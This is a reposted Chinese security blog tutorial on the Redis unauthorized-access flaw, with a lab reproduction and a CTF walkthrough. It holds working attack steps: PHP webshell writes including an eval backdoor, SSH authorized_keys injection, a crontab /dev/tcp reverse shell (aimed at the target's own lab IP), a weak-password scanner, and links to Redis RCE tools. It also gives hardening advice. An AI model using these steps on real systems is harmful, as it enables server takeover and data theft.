zoukankan      html  css  js  c++  java
  • Redis未授权漏洞

    Redis未授权漏洞

    引言

    在Web应用发展的初期,那时关系型数据库受到了较为广泛的关注和应用,原因是因为那时候Web站点基本上访问和并发不高、交互也较少。而在后来,随着访问量的提升,使用关系型数据库的Web站点多多少少都开始在性能上出现了一些瓶颈,而瓶颈的源头一般是在磁盘的I/O上。而随着互联网技术的进一步发展,各种类型的应用层出不穷,这导致在当今云计算、大数据盛行的时代,对性能有了更多的需求,主要体现在以下四个方面:

    1. 低延迟的读写速度:应用快速地反应能极大地提升用户的满意度
    2. 支撑海量的数据和流量:对于搜索这样大型应用而言,需要利用PB级别的数据和能应对百万级的流量
    3. 大规模集群的管理:系统管理员希望分布式应用能更简单的部署和管理
    4. 庞大运营成本的考量:IT部门希望在硬件成本、软件成本和人力成本能够有大幅度地降低

    为了克服这一问题,NoSQL应运而生,它同时具备了高性能、可扩展性强、高可用等优点,受到广泛开发人员和仓库管理人员的青睐。

    Redis是什么

    Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库,其具备如下特性:

    • 基于内存运行,性能高效
    • 支持分布式,理论上可以无限扩展
    • key-value存储系统
    • 开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API

    相比于其他数据库类型,Redis具备的特点是:

    • C/S通讯模型
    • 单进程单线程模型
    • 丰富的数据类型
    • 操作具有原子性
    • 持久化
    • 高并发读写
    • 支持lua脚本

    哪些大厂在使用Redis?

    • github
    • twitter
    • 微博
    • Stack Overflow
    • 阿里巴巴
    • 百度
    • 美团
    • 搜狐

    Redis的应用场景有哪些?

    Redis 的应用场景包括:缓存系统(“热点”数据:高频读、低频写)、计数器、消息队列系统、排行榜、社交网络和实时系统。

    img

    Redis的数据类型及主要特性

    Redis提供的数据类型主要分为5种自有类型和一种自定义类型,这5种自有类型包括:String类型、哈希类型、列表类型、集合类型和顺序集合类型。

    img

    String类型:

    它是一个二进制安全的字符串,意味着它不仅能够存储字符串、还能存储图片、视频等多种类型, 最大长度支持512M。

    对每种数据类型,Redis都提供了丰富的操作命令,如:

    • GET/MGET
    • SET/SETEX/MSET/MSETNX
    • INCR/DECR
    • GETSET
    • DEL

    哈希类型:

    该类型是由field和关联的value组成的map。其中,field和value都是字符串类型的。

    Hash的操作命令如下:

    • HGET/HMGET/HGETALL
    • HSET/HMSET/HSETNX
    • HEXISTS/HLEN
    • HKEYS/HDEL
    • HVALS

    列表类型:

    该类型是一个插入顺序排序的字符串元素集合, 基于双链表实现。

    List的操作命令如下:

    • LPUSH/LPUSHX/LPOP/RPUSH/RPUSHX/RPOP/LINSERT/LSET
    • LINDEX/LRANGE
    • LLEN/LTRIM

    集合类型:

    Set类型是一种无顺序集合, 它和List类型最大的区别是:集合中的元素没有顺序, 且元素是唯一的。

    Set类型的底层是通过哈希表实现的,其操作命令为:

    • SADD/SPOP/SMOVE/SCARD
    • SINTER/SDIFF/SDIFFSTORE/SUNION

    Set类型主要应用于:在某些场景,如社交场景中,通过交集、并集和差集运算,通过Set类型可以非常方便地查找共同好友、共同关注和共同偏好等社交关系。

    顺序集合类型:

    ZSet是一种有序集合类型,每个元素都会关联一个double类型的分数权值,通过这个权值来为集合中的成员进行从小到大的排序。与Set类型一样,其底层也是通过哈希表实现的。

    ZSet命令:

    • ZADD/ZPOP/ZMOVE/ZCARD/ZCOUNT
    • ZINTER/ZDIFF/ZDIFFSTORE/ZUNION

    Redis的数据结构

    Redis的数据结构如下图所示:

    img

    redis未授权访问漏洞介绍以及危害

    1、什么是redis未授权访问漏洞

    Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

    简单说,漏洞的产生条件有以下两点:

    • redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
    • 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

    2.漏洞的危害:

    • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
    • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件
    • 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

    3.漏洞影响:

    img

    根据 ZoomEye 的探测,全球无验证可直接利用Redis 分布情况如下:

    1

    全球无验证可直接利用Redis TOP 10国家与地区:

    2

    二、漏洞复现

    下载并安装测试用的Redis,本次采用的是Ubuntu镜像:

    wget http://download.redis.io/releases/redis-2.8.17.tar.gz
    
    (如果下载不下来的话:http://distfiles.macports.org/redis/)
    

    img

    img

    解压安装包:tar xzf redis-2.8.17.tar.gz进入redis目录:cd redis-2.8.17安装:make
    

    img

    img

    make结束后,进入src目录:cd src,
    将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
    

    img

    返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:
    

    img

    使用/etc/目录下的reids.conf文件中的配置启动redis服务:
    

    img

    服务启动成功,我们克隆这台虚拟机

    一台作为攻击机,一台作为靶机

    攻击机IP:192.168.0.105

    img

    靶机IP:192.168.0.104

    img

    启动redis服务进程后,就可以使用测试攻击机程序redis-cli和靶机的redis服务交互了。 比如:
    

    img

    未授权访问漏洞测试

    使用redis客户端直接无账号成功登录redis:

    img

    从登录的结果可以看出该redis服务对公网开放,且未启用认证。

    利用redis写webshell

    利用前提:

    1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
    2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
    (我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)
    

    这里由于本地搭建,我们已经知道目录,我们把shell写入/home/bmjoker/目录下:

    img

    注:

    第三步写入webshell的时候,可以使用:

    set x "
    
    <?php phpinfo();?>
    
    "
    

    代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

    shell写入完成,我们在靶机上来证明:

    img

    成功写入shell。

    当数据库过大时,redis写shell的小技巧:

    <?php 
    set_time_limit(0);
    $fp=fopen('bmjoker.php','w');
    fwrite($fp,'<?php @eval($_POST["bmjoker"]);?>');
    exit();
    ?>
    

    利用"公私钥"认证获取root权限

    当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

    靶机中开启redis服务:redis-server /etc/redis.conf

    在靶机中执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录(靶机是作为ssh服务器使用的)

    在攻击机中生成ssh公钥和私钥,密码设置为空:

    img

    进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:

    img

    链接靶机上的redis服务,

    将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

    img

    远程登录靶机的redis服务:redis-cli -h 192.168.0.104

    并使用 CONFIG GET dir 命令得到redis备份的路径:

    img

    更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

    img

    设置上传公钥的备份文件名字为authorized_keys:

    img

    检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,

    至此成功写入ssh公钥到靶机:

    img

    在攻击机上使用ssh免密登录靶机:ssh -i id_rsa root@192.168.0.104

    img

    利用私钥成功登录redis服务器!!!

    利用crontab反弹shell

    权限足够的情况下,利用redis写入文件到计划任务目录下执行。

    端口监听:

    在攻击者服务器上监听一个端口(未被占用的任意端口):

    nc -lvnp 4444
    

    img

    攻击详情:

    连接redis,写入反弹shell

    redis-cli -h 192.168.0.104
    set xxx "
    
    */1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1
    
    "
    

    img

    config set dir /var/spool/cron
    config set dbfilename root
    save
    

    img

    过一分钟左右就可以收到shell

    Pyhton脚本自动化测试

    可用来测试是否存在未授权或弱口令的情况:

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import socket
    import sys
    PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
    def check(ip, port, timeout):
        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, int(port)))
            s.send("INFO
    ")
            result = s.recv(1024)
            if "redis_version" in result:
                return u"未授权访问"
            elif "Authentication" in result:
                for pass_ in PASSWORD_DIC:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((ip, int(port)))
                    s.send("AUTH %s
    " %(pass_))
                    result = s.recv(1024)
                    if '+OK' in result:
                        return u"存在弱口令,密码:%s" % (pass_)
        except Exception, e:
            pass
    if __name__ == '__main__':
        ip=sys.argv[1]
        port=sys.argv[2]
        print check(ip,port, timeout=10)
    

    解决方案

    1、比较安全的办法是采用绑定IP的方式来进行控制。

    请在redis.conf文件找到如下配置

    # If you want you can bind a single interface, if the bind option is not``# specified all the interfaces will listen for incoming connections.``#``# bind 127.0.0.1
    

    把 #bind 127.0.0.1前面的注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。

    2、设置密码,以提供远程登陆

    打开redis.conf配置文件,找到requirepass,然后修改如下:

    requirepass yourpassword``yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。`` ` `命令如下:``redis-cli -h yourIp -p yourPort``//启动redis客户端,并连接服务器``keys * ``//输出服务器中的所有key``报错如下``(error) ERR operation not permitted`` ` `这时候你可以用授权命令进行授权,就不报错了`` ` `命令如下:``auth youpassword
    

    Redis配置错误导致的远程代码漏洞溯源

    在刷墨者学院的题时,发现了这个不错的题,通过这个题了解Redis在低权限下的渗透思路:

    给出了IP:219.153.49.228 ,同时也给出了俩个端口一个是web也就是http端口 419387,一个是redis数据库端口 48055

    尝试用kali链接redis端口:

    redis-cli -h 219.153.49.228 -p 48055
    

    连接成功,本想用上文的方法,生成ssh密钥把内容写进redis数据库,然后把redis数据库的目录指定到/etc/.ssh/,这样就可以通过ssh直接连接服务器,但是这里权限不够,不能指定到/etc/.ssh/目录。

    img

    由于服务器是ubuntu的,apache容器,尝试指定一下默认的路径/var/www/html/来写入shell:

    img

    一波写入shell的操作,然后在web页面尝试访问我们写入shell的joker.php文件:

    img

    成功写入,尝试用菜刀链接,获取flag:

    img

    出现这样的问题还是权限控制的不足

    再网上收集两个比较方便的getshell python脚本

    1.https://github.com/n0b0dyCN/redis-rogue-server

    漏洞利用:

    img

    2.https://github.com/Ridter/redis-rce

    漏洞利用:

    img

    反弹到其他服务器:

    img


    参考自https://www.cnblogs.com/bmjoker/p/9548962.html

    参考自https://www.freebuf.com/vuls/162035.html

    参考自https://www.cnblogs.com/powertoolsteam/p/redis.html

  • 相关阅读:
    【乱侃】How do they look them ?
    【softeware】Messy code,some bug of Youdao notebook in EN win7
    【随谈】designing the login page of our project
    【web】Ad in security code, making good use of resource
    SQL数据库内存设置篇
    关系数据库的查询优化策略
    利用SQL未公开的存储过程实现分页
    sql语句总结
    sql中使用cmd命令注销登录用户
    SQLServer 分页存储过程
  • 原文地址:https://www.cnblogs.com/tomyyyyy/p/13660968.html
Copyright © 2011-2022 走看看